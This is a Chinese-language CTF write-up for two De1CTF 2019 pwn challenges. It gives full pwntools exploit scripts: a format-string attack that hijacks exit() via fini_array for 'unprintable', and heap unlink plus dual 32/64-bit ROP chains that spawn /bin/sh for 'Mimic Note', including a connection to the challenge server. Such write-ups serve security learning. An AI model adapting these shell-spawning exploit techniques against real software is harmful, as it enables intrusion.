De1CTF 2019 pwn writeup

De1CTF的unprintable和Mimic Note。

unprintable

比赛的时候愣是没调出来,看了大佬们的做法,有一种做法和之前的某个题类似,就是劫持exit()执行时的控制流。在程序退出的时候,会调用fini_array上的函数,相关地址通过计算得到且计算过程中的一个参数在栈上有地址指向,因此可以通过格式化字符串修改该参数,使得执行exit()时跳回main()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *

DEBUG = 1

elf = ELF('./unprintable')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

if DEBUG == 1:
while 1:
p = process('./unprintable')

p.recvuntil('This is your gift: ')
recv = p.recvuntil('\n', drop=True)
stack_addr = int(recv, 16)
target_addr = stack_addr - 312 + 0x18
print hex(stack_addr)
print hex(target_addr)
if (target_addr & 0xffff > 0x1000 or (target_addr & 0xffff) - (0x601060 - 0x600dd8) < 0x10):
p.close()
else:
break
else:
pass


if DEBUG == 1:
gdb.attach(p)


offset_stack = (0x7fff14d283b0 - 0x7fff14d28310) / 8 + 6
offset_ret = (0x7fff9de105e8 - 0x7fff9de105c0) / 8 + 6
offset_buf = 0x601060 - 0x600dd8
target_ret = target_addr & 0xffff

payload = '%' + str(offset_buf + 0x17) + 'x%' + str(offset_stack) + '$hn'
payload += '%' + str(target_ret - offset_buf - 0x17) + 'x%' + str(offset_ret) + '$hn'
payload += p64(0x4007a3)

if len(payload) - 8 != 0x17:
payload = '%' + str(offset_buf + 0x16) + 'x%' + str(offset_stack) + '$hn'
payload += '%' + str(target_ret - offset_buf - 0x16) + 'x%' + str(offset_ret) + '$hn'
payload += p64(0x4007a3)

p.send(payload)
sleep(1)

offset_ret = (0x7ffc94990a40 - 0x7ffc949909b8) / 8 + 6
offset_rsp = (0x7fff5a400bc0 - 0x7fff5a400b78) / 8 + 6
target_addr += 0x8

if target_addr & 0xffff < 0x7a3:
payload = '%' + str(target_addr & 0xffff) + 'x%' + str(offset_rsp) + '$hn'
payload += '%' + str(0x7a3 - (target_addr & 0xffff)) + 'x%' + str(offset_ret) + '$hn' + '\x00'
else:
payload = '%' + str(0x7a3) + 'x%' + str(offset_ret) + '$hn'
payload += '%' + str((target_addr & 0xffff) - 0x7a3) + 'x%' + str(offset_rsp) + '$hn' + '\x00'

raw_input()
p.send(payload)
sleep(1)

# change pop rsp value 0x1060 / ret
payload = '%' + str(0x7a3) + 'x%' + str(offset_ret) + '$hn'
payload += '%' + str(0x1200 - 0x7a3) + 'x%41$hn' + '\x00'
p.send(payload)
sleep(1)

if ((target_addr & 0xffff) + 2) < 0x7a3:
payload = '%' + str((target_addr & 0xffff) + 2) + 'x%15$hn'
payload += '%' + str(0x7a3 - ((target_addr & 0xffff) + 2)) + 'x%23$hn' + '\x00'
else:
payload = '%' + str(0x7a3) + 'x%23$hn'
payload += '%' + str(((target_addr & 0xffff) + 2) - 0x7a3) + 'x%15$hn' + '\x00'

p.send(payload)
sleep(1)

payload = '%' + str(0x60) + 'x%41$n'
payload += '%' + str(0x7a3 - 0x60) + 'x%23$hn' + '\x00'
p.send(payload)
sleep(1)

payload = '%' + str(0x82d) + 'x%23$hn' + '\x00'

pop_rdi_ret = 0x400833

payload = payload.ljust(0x601218-0x601060-8, '\x00') + '/bin/sh\x00'
payload += p64(0x40082a) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x800) + p64(0x601800) + p64(0) + p64(0x400810)
payload += p64(0) * 7
payload += p64(0x400833) + p64(0x601060) + p64(elf.plt['puts'])
payload += p64(0x40082d) + p64(0x601800 - 8 * 3)

p.send(payload)
sleep(1)

payload = p64(0x40082a) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x1) + p64(0x601218) + p64(0) + p64(0x400810)
payload += p64(0) * 7
payload += p64(0x40082a) + p64(0) + p64(1) + p64(elf.got['read']) + p64(59) + p64(0x601060) + p64(0) + p64(0x400810)
payload += p64(0) * 7

payload += p64(0x40082a) + p64(0) + p64(1) + p64(0x601218) + p64(0) + p64(0) + p64(0x601210) + p64(0x400810)
payload += p64(0) * 7

p.send(payload)
sleep(1)

p.send('\xac')

p.send('\x00' * 59)

p.sendline('/bin/sh 1>&2')

p.interactive()
p.close()


'''
0x000000000040082c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040082e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400830 : pop r14 ; pop r15 ; ret
0x0000000000400832 : pop r15 ; ret
0x000000000040082b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040082f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x0000000000400833 : pop rdi ; ret
0x0000000000400831 : pop rsi ; pop r15 ; ret
0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d1 : ret
'''

Mimic Note

要用同一个脚本同时打通两个程序并且要让其输出一致(输入不确定是否要一致,但调exp的时候调成一致了)。由于32bit和64bit程序size_t大小不一致,使得两边的unlink不会互相影响,所以只要编排好chunk的顺序就能在两边按次序完成unlink

unlink完成后利用劫持atoi()@got进行ROP,这里一个较难的点就是要让两个程序同时进入ROP以免程序输出不一致。然后就是疯狂找gadget,同时利用数据的错位,使得两个程序在一次输入后同时进入了ROP。

再往后就是常规的没有输出的情况下进行ROP getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
from pwn import *

#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']


def add(p, size):
p.sendlineafter('>> ', str(1))
p.sendlineafter('size?\n', str(size))


def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('index ?\n', str(idx))


def show(p, idx):
p.sendlineafter('>> ', str(3))
p.sendlineafter('index ?\n', str(idx))


def edit(p, idx, content):
p.sendlineafter('>> ', str(4))
p.sendlineafter('index ?\n', str(idx))
p.sendafter('content?\n', content)
#sleep(0.5)


def pwn(count):
DEBUG = 0
arch = ''

elf32 = ELF('./mimic_note_32')
elf64 = ELF('./mimic_note_64')

#if DEBUG == 1 and arch == '64':
# p = process('./mimic_note_64')
#elif DEBUG == 1 and arch == '32':
# p = process('./mimic_note_32')
if DEBUG == 1:
#p = process('./mimic')
#p = remote('127.0.0.1', 9999)
p = process('./mimic')
else:
p = remote('45.32.120.212', 6666)

if DEBUG == 1:
#pass
gdb.attach(p)


# 64 bit unlink
add(p, 0x100-8) # 0
add(p, 0x100-8) # 1
add(p, 0x100-8) # 2
add(p, 0x100-8) # 3
delete(p, 0)
payload = 'a' * (0xf0) + p64(0x200)
edit(p, 1, payload)

delete(p, 2)

add(p, 0x1f8) # 0 is 1
add(p, 0xf8) # 2

payload = p64(0) + p64(0xf1) + p64(0x6020b0-0x18) + p64(0x6020b0-0x10)
payload = payload.ljust(0xf0, '\x00') + p64(0xf0)
edit(p, 1, payload)
delete(p, 2)

# 32 bit unlink
add(p, 0x100-8)
add(p, 0x100-8)

add(p, 0x100-4) # 32 bit 5/6/7
add(p, 0x100-4)
add(p, 0x100-4)
add(p, 0x100-4)

delete(p, 5)
payload = 'a' * 0xf8 + p32(0x200)
edit(p, 6, payload)
delete(p, 7)

add(p, 0x1f8+4) # 5 is 6
add(p, 0xf8+4) # 7
payload = p32(0) + p32(0xf9) + p32(0x804a090-0x18/2) + p32(0x804a090-0x10/2)
payload = payload.ljust(0xf8, '\x00') + p32(0xf8)
edit(p, 6, payload)
delete(p, 7)

# 64 idx 1 /// 32 idx 6

payload = p64(0) + p64(0x602050) + p64(0x20) + p64(0x602818) + p64(0x1000) + p64(0x602200) + p64(0x1000)[:5]
edit(p, 1, payload) #0x602058


payload = p32(0xf8) + p32(0x804a060) + p32(0x100) + p32(0x804a060) + p32(0x1000)[:3]
edit(p, 6, payload)
payload = p32(elf32.got['atoi']) + p32(0x20) + p32(0x804a200) + p32(0x1000) + p32(0x804a7fc) + p32(0x1000) + p32(0x0804a018) + p32(4)
edit(p, 6, payload)

edit(p, 3, p32(0x080489fb)) # test

############### 64 bit ROP
# call read to change write@got to syscall
ROP64 = p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(0x602200) + p64(0) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(59+0x30) + p64(0) * 3 + '/bin/sh\x00'# 0x602900 binsh

# set rax
ROP64 += p64(0x400B2B) + p64(0) + p64(0)

# call syscall
ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0) + p64(0x602900) + p64(0x400C10)
ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4 + p64(0xdeadbeef)

edit(p, 1, ROP64)

############### 64 bit ROP

############### 32 bit ROP
read_plt = 0x8048460
write_got = 0x804A02C
write_plt = 0x80484D0
p_4reg_32 = 0x080489f8
p_ebx_32 = 0x08048439
bin_sh_addr = 0x804a2e8

# call read to change write@got to syscall
ROP32 = p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0x804a300)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(write_got)+p32(1)+p32(0)
ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0)+p32(0)+p32(0)

# set eax, edx
ROP32 += p32(0x080489f9) + p32(0) + p32(0) + p32(0xb+0x2c)
ROP32 += p32(0x8048907)
ROP32 += p32(0) * 9
ROP32 += p32(0x8048588)

# set ebx and call syscall
ROP32 += p32(p_ebx_32)+p32(bin_sh_addr)+p32(write_plt)

edit(p, 2, ROP32)

############### 32 bit ROP

# trigger ROP
payload = p32(0x80489ee) + p32(0) + p64(0x400c2f)[:6]
edit(p, 0, payload)

#raw_input()
payload = p32(0x602800) + p32(0) + p32(0x804a800-8) + p32(0x8048568) + p64(0x400c2d) + p64(0x602800)[:6]
p.sendafter('>> ', payload)


##### first read to change write@got in 64bit
p.send('\x7b')

##### second read to change write@got in 32bit
p.send(chr(count))

p.interactive()
p.close()

if __name__ == '__main__':
pwn(108) # Bruteforce 32 bit libc